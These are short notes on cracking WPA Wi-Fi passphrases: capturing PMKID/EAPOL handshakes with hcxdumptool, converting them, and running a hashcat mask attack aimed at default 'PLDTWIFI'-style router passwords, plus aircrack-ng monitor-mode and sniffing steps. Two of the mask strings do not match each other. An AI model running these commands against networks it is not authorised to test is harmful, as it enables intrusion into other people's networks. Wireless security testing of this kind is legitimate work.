Cracking WiFi (PMKID/EAPOL)

Capturing and cracking WPA handshakes (PMKID + EAPOL) to recover the passphrase. Relates to the Pairwise Transient Key.

Requirements:

  • aircrack-ng

  • hcxtools

  • hcxdumptool

  • hashcat

    1. sudo hcxdumptool -i wlp6s0f3u2 -w WIFIs.pcapng

    2. hcxpcapngtool -o WIFIs.hc22000 WIFIs.pcapng

    3. hashcat -m 22000 WIFIs.hc22000 -a 3 -1 '?d?l' 'PLDTIFI?1?1?1?1?1' -w 3

Use hashcat -m 22000 WIFIs.hc22000 -a 3 -1 '?d?l' 'PLDTWIFI?1?1?1?1?1' -w 3 --show to show all cracked hashes.

Enabling Monitor Mode

Checking if wifi card supports monitor mode:

  1. put into monitor mode

  2. check if there’s monitor mode

  3. test packet injection with aireplay-ng --test <interface>

starting monitor mode: airmon-ng start <interface>

checking if monitor mode: iwconfig and find the Mode:Monitor

use airodump-ng <interface> to see all the access points

make sure to airmon-ng check kill

Disabling Monitor Mode

  1. ip link set wlo1 down

  2. iw wlo1 set type managed

  3. ip link set wlo1 up

Check with iwconfig if Mode is set to Managed.

Sniffing the network

airodump-ng --bssid <ap_bssid> --essid <ap_name> -c <channel> -w <filename> <interface>

This is wrong: if your card can’t capture the data, it will only show clear-to-send and request-to-send and no Acknowledgement. a successful sniff must have both Acknowledgement and WPA Handshake in airodump-ng. It needs CTS → RTS → Qos Data.

targeting a specific network requires specifying the BSSID.

An alternative to the monitor-mode setup above:

ifconfig wlan0 down
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
iwconfig

Wireshark display filter:

wlan.fc.type_subtype in {0x00}

Choosing an adapter

See airgeddon — Cards and Chipsets, and check iw for Virtual Interface (VIF) capability.

Avoid these chipsets:

  • rtl8814au

  • rtl8812au

  • rtl8821/11au

Reference: morrownr/USB-WiFi#314

Source